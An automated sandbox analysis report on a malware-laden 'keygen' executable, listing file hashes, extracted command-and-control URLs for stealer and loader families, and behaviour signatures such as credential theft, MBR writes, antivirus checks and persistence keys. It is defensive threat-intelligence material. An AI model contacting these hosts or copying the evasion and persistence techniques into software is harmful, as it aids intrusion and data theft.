Analysis
-
max time kernel
273s -
max time network
532s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04-03-2021 20:06
Static task
static1
Behavioral task
behavioral1
Sample
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
Resource
win7v20201028
Errors
General
-
Target
Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
-
Size
8.6MB
-
MD5
74aa59764d255bfcc9f5fbf21516610f
-
SHA1
eb88061292be3c4ea907395ae19bb8cdda37176f
-
SHA256
1e96888cbd6710ff444456e4cd2a357a3fb7f59ff983bf509411706fdc8f8b28
-
SHA512
8462235e12fc3f825bdd1fb4bb67bb6d1ba3a2aa8e3ccc1b42ec793e34e49bcbe2f727874c271d7bb131d684973291a849c6fdf279452f39a85b9eaf0f76cd04
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
http://4zavr.com/upload/
http://zynds.com/upload/
http://atvua.com/upload/
http://detse.net/upload/
http://dsdett.com/upload/
http://dtabasee.com/upload/
http://yeronogles.monster/upload/
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
ElysiumStealer
ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.
-
ElysiumStealer Payload 1 IoCs
Processes:
resource yara_rule behavioral4/memory/4636-646-0x00000000023F0000-0x00000000023F6000-memory.dmp elysiumstealer -
Glupteba Payload 6 IoCs
Processes:
resource yara_rule behavioral4/memory/876-532-0x0000000003920000-0x000000000417D000-memory.dmp family_glupteba behavioral4/memory/876-534-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral4/memory/876-533-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral4/memory/6852-994-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral4/memory/6852-996-0x0000000003870000-0x0000000004072000-memory.dmp family_glupteba behavioral4/memory/6852-999-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
Processes:
resource yara_rule behavioral4/memory/2332-675-0x0000000000400000-0x0000000000428000-memory.dmp family_redline behavioral4/memory/6052-930-0x0000000003130000-0x000000000315E000-memory.dmp family_redline behavioral4/memory/6052-932-0x0000000004A60000-0x0000000004A8C000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1452 bcdedit.exe 4720 bcdedit.exe 4620 bcdedit.exe 5648 bcdedit.exe 4084 bcdedit.exe 5532 bcdedit.exe 6928 bcdedit.exe 6912 bcdedit.exe 6224 bcdedit.exe 4120 bcdedit.exe 5984 bcdedit.exe 6792 bcdedit.exe 5504 bcdedit.exe 6888 bcdedit.exe 5068 bcdedit.exe -
XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule behavioral4/memory/5404-878-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral4/memory/5404-882-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral4/memory/5404-884-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Executes dropped EXE 51 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekey.exekeygen-step-3.exekeygen-step-4.exekey.exefile.exeB00D.tmp.exeB00D.tmp.exeSetup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exeInstall.exemultitimer.exeaskinstall20.exe1614892449333.exemultitimer.exe1614892453677.exemultitimer.exe1614892459749.exemd2_2efs.exesafebits.exehg3zktuxay3.exevict.exeocwkf3duu1q.exeaskinstall24.exepkzabdvao3g.exec4nydmgjlri.exeSetup3310.exeapp.exevpn.exechashepro3.exeIBInstaller_97039.exeSetup3310.tmpchashepro3.tmpvpn.tmpvict.tmphg3zktuxay3.tmpIBInstaller_97039.tmp1.exe2.exe3.exechrome_proxy.exewimapi.exewinlthst.exeikcuiekf30w.exeSetup.exeikcuiekf30w.tmpSetup.tmp7SCAE4JI7.exeThunderFW.exepid process 4788 keygen-pr.exe 4296 keygen-step-1.exe 3452 key.exe 4876 keygen-step-3.exe 4256 keygen-step-4.exe 4288 key.exe 4468 file.exe 4576 B00D.tmp.exe 4604 B00D.tmp.exe 4848 Setup.exe 1904 C0CA61A12E4C8B38.exe 3920 C0CA61A12E4C8B38.exe 848 Install.exe 4900 multitimer.exe 4764 askinstall20.exe 1508 1614892449333.exe 4484 multitimer.exe 5072 1614892453677.exe 4840 multitimer.exe 4136 1614892459749.exe 3952 md2_2efs.exe 4752 safebits.exe 744 hg3zktuxay3.exe 4868 vict.exe 4816 ocwkf3duu1q.exe 1524 askinstall24.exe 2292 pkzabdvao3g.exe 2188 c4nydmgjlri.exe 1800 Setup3310.exe 876 app.exe 716 vpn.exe 4232 chashepro3.exe 188 IBInstaller_97039.exe 4792 Setup3310.tmp 5000 chashepro3.tmp 2692 vpn.tmp 2940 vict.tmp 2128 hg3zktuxay3.tmp 5136 IBInstaller_97039.tmp 5192 1.exe 5200 2.exe 5208 3.exe 5676 chrome_proxy.exe 5876 wimapi.exe 5952 winlthst.exe 4464 ikcuiekf30w.exe 5692 Setup.exe 5936 ikcuiekf30w.tmp 5860 Setup.tmp 5048 7SCAE4JI7.exe 4400 ThunderFW.exe -
Modifies Windows Firewall 1 TTPs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Processes:
resource yara_rule behavioral4/memory/2720-1021-0x0000000000400000-0x0000000000C1C000-memory.dmp upx behavioral4/memory/6596-1024-0x0000000000400000-0x0000000000C1B000-memory.dmp upx behavioral4/memory/5504-1031-0x0000000000400000-0x00000000005E6000-memory.dmp upx behavioral4/memory/1528-1034-0x0000000000400000-0x0000000000C1B000-memory.dmp upx behavioral4/memory/5260-1035-0x0000000000400000-0x0000000000C1C000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mg20201223-1.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation mg20201223-1.exe -
Loads dropped DLL 21 IoCs
Processes:
MsiExec.exeSetup3310.tmpvict.tmphg3zktuxay3.tmpIBInstaller_97039.tmpvpn.tmpikcuiekf30w.tmpSetup.tmppid process 4248 MsiExec.exe 4792 Setup3310.tmp 4792 Setup3310.tmp 2940 vict.tmp 2128 hg3zktuxay3.tmp 5136 IBInstaller_97039.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 5936 ikcuiekf30w.tmp 5936 ikcuiekf30w.tmp 5936 ikcuiekf30w.tmp 5936 ikcuiekf30w.tmp 5936 ikcuiekf30w.tmp 5860 Setup.tmp 5860 Setup.tmp -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
Processes:
multitimer.exeikcuiekf30w.tmp7SCAE4JI7.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4lqfxjaufp4 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXDQ1VBJLK\\multitimer.exe\" 1 3.1614888639.60413ebfc0090" multitimer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\3877512 = "\"C:\\Users\\Admin\\AppData\\Roaming\\zs0whgqkfjz\\ikcuiekf30w.exe\" /VERYSILENT" ikcuiekf30w.tmp Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\CA01ALKDX56NKNY = "\"C:\\Program Files\\7SCAE4JI70\\7SCAE4JI7.exe\"" 7SCAE4JI7.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
Processes:
multitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md2_2efs.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe -
Drops Chrome extension 2 IoCs
Processes:
C0CA61A12E4C8B38.exeaskinstall20.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\akgbeipnpgaimbkpgejgondkgiddimcl\1.0.0.0_0\manifest.json C0CA61A12E4C8B38.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fiogdnnnljjlfjgkifccooilblmjflkm\5.18.6_0\manifest.json askinstall20.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exedescription ioc process File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 178 ipinfo.io 301 icanhazip.com 369 ipinfo.io 459 ipinfo.io 503 api.2ip.ua 504 api.2ip.ua 69 api.ipify.org 183 ipinfo.io 241 ipinfo.io 298 ip-api.com 536 api.2ip.ua -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
multitimer.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
Setup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exedescription ioc process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Setup.exepid process 4848 Setup.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
key.exeB00D.tmp.exeC0CA61A12E4C8B38.exedescription pid process target process PID 3452 set thread context of 4288 3452 key.exe key.exe PID 4576 set thread context of 4604 4576 B00D.tmp.exe B00D.tmp.exe PID 1904 set thread context of 4712 1904 C0CA61A12E4C8B38.exe firefox.exe PID 1904 set thread context of 3912 1904 C0CA61A12E4C8B38.exe firefox.exe PID 1904 set thread context of 2980 1904 C0CA61A12E4C8B38.exe firefox.exe -
Drops file in Program Files directory 64 IoCs
Processes:
vpn.tmpIBInstaller_97039.tmphg3zktuxay3.tmpvict.tmpc4nydmgjlri.exechashepro3.tmpdescription ioc process File created C:\Program Files (x86)\MaskVPN\unins000.msg vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-843FH.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-MOMEA.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-PP5J0.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-1O7BV.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-TQNNU.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-NIM4L.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-I3ECH.tmp vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-3N9CM.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\viewerise\is-FKQ6E.tmp hg3zktuxay3.tmp File opened for modification C:\Program Files (x86)\viewerise\unins000.dat vict.tmp File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp64\devcon.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-UFD48.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-VOBMV.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-BACVI.tmp vpn.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Delphi.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\am805.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-FK8GF.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-555VQ.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\viewerise\unins001.dat hg3zktuxay3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\polstore.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-7730F.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\unins000.dat IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File created C:\Program Files\7SCAE4JI70\7SCAE4JI7.exe.config c4nydmgjlri.exe File created C:\Program Files\7SCAE4JI70\uninstaller.exe.config c4nydmgjlri.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-FPJM7.tmp vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-B95JF.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\is-CFQCH.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-N2Q4H.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-V3EDT.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-O279B.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-3UTEP.tmp vpn.tmp File opened for modification C:\Program Files (x86)\JCleaner\2.exe chashepro3.tmp File created C:\Program Files (x86)\JCleaner\is-I1HB0.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\JCleaner\unins000.dat chashepro3.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\unins000.dat IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-NI3NM.tmp vpn.tmp File created C:\Program Files (x86)\JCleaner\is-4O1AP.tmp chashepro3.tmp File created C:\Program Files (x86)\JCleaner\is-V5F1K.tmp chashepro3.tmp File created C:\Program Files (x86)\JCleaner\is-39PE6.tmp chashepro3.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-0GBQL.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPN.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-5BT9T.tmp vpn.tmp File opened for modification C:\Program Files (x86)\JCleaner\1.exe chashepro3.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-D2LHR.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\viewerise\unins000.dat vict.tmp File created C:\Program Files (x86)\viewerise\is-LDS8I.tmp vict.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-CFNQ9.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-B9C7S.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-IA14J.tmp vpn.tmp File opened for modification C:\Program Files (x86)\JCleaner\3.exe chashepro3.tmp File created C:\Program Files (x86)\JCleaner\unins000.dat chashepro3.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Refactoring.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\viewerise\unins001.dat hg3zktuxay3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-U4MNF.tmp vpn.tmp -
Drops file in Windows directory 4 IoCs
Processes:
multitimer.exeMicrosoftEdge.exeWerFault.exedescription ioc process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 10 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 6216 4816 WerFault.exe ocwkf3duu1q.exe 6468 4816 WerFault.exe ocwkf3duu1q.exe 6572 4816 WerFault.exe ocwkf3duu1q.exe 6796 4816 WerFault.exe ocwkf3duu1q.exe 7036 4816 WerFault.exe ocwkf3duu1q.exe 6900 4816 WerFault.exe ocwkf3duu1q.exe 5472 4816 WerFault.exe ocwkf3duu1q.exe 4972 4816 WerFault.exe ocwkf3duu1q.exe 2964 5536 WerFault.exe Sui.com 8116 5536 WerFault.exe Sui.com -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
